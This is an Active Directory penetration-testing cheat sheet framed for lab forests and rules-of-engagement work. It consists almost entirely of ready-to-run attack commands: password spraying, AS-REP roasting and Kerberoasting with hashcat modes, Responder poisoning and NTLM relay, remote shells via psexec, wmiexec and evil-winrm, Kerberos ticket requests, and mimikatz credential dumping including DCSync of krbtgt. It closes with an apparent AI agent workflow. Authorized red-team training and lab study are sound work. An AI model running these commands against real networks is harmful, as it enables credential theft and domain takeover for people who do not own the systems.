Lab AD forest only — cloned DCs, GOAD, vuln range, or customer ROE. Tools: BloodHound, Impacket, Responder, CrackMapExec, mimikatz.
Recon#
# LDAP / users
impacket-GetADUsers -all lab.local/user:Pass -dc-ip 10.77.0.10
# SMB signing / null session
crackmapexec smb 10.77.0.0/24
nmap --script smb-security-mode -p 445 10.77.0.10
# BloodHound collection
bloodhound-python -u user -p Pass -d lab.local -c All -ns 10.77.0.10
# Import ZIP into BloodHound GUICredential attacks#
# AS-REP roastable users
impacket-GetNPUsers lab.local/ -usersfile users.txt -no-pass -dc-ip 10.77.0.10
# Kerberoast
impacket-GetUserSPNs lab.local/user:Pass -dc-ip 10.77.0.10 -request
# Crack TGS with hashcat -m 13100
# Crack AS-REP with hashcat -m 18200
# Password spray (ROE rate limits)
crackmapexec smb 10.77.0.0/24 -u users.txt -p 'Spring2026!' --continue-on-successRelay & poison#
# Responder (disable SMB/HTTP if relaying)
responder -I eth0 -wd
# Capture → hashcat -m 5600
# ntlmrelayx
impacket-ntlmrelayx -tf targets.txt -smb2supportRemote execution (owned lab hosts)#
impacket-psexec lab.local/admin:Pass@10.77.0.20
impacket-wmiexec lab.local/admin:Pass@10.77.0.20
impacket-smbexec lab.local/admin:Pass@10.77.0.20
evil-winrm -i 10.77.0.20 -u administrator -p PassKerberos tickets#
impacket-getTGT lab.local/user:Pass
export KRB5CCNAME=user.ccache
impacket-getST -spn cifs/dc.lab.local lab.local/user -k -no-passmimikatz (lab snapshot)#
privilege::debug
sekurlsa::logonpasswords
lsadump::dcsync /domain:lab.local /user:krbtgtNever on production DCs without explicit ROE.
Impacket quick reference#
| Script | Purpose |
|---|---|
secretsdump | SAM/LSA/NTDS dump |
ntlmrelayx | SMB/HTTP relay |
GetNPUsers | AS-REP roast |
GetUserSPNs | Kerberoast |
psexec / wmiexec | Remote shell |
mssqlclient | MSSQL |
ticketer | Golden/silver ticket research |
Full list: kali-linux-catalog.md (Impacket section).
Agent workflow#
Lab domain LAB.LOCAL, DC 10.77.0.10, creds user:Pass (synthetic):
1. crackmapexec smb 10.77.0.0/24 -u user -p Pass
2. bloodhound-python -c All ...
3. GetUserSPNs + hashcat -m 13100 on output hashes
4. Graph shortest path to Domain Admins in BloodHound (describe, don't attack out of scope)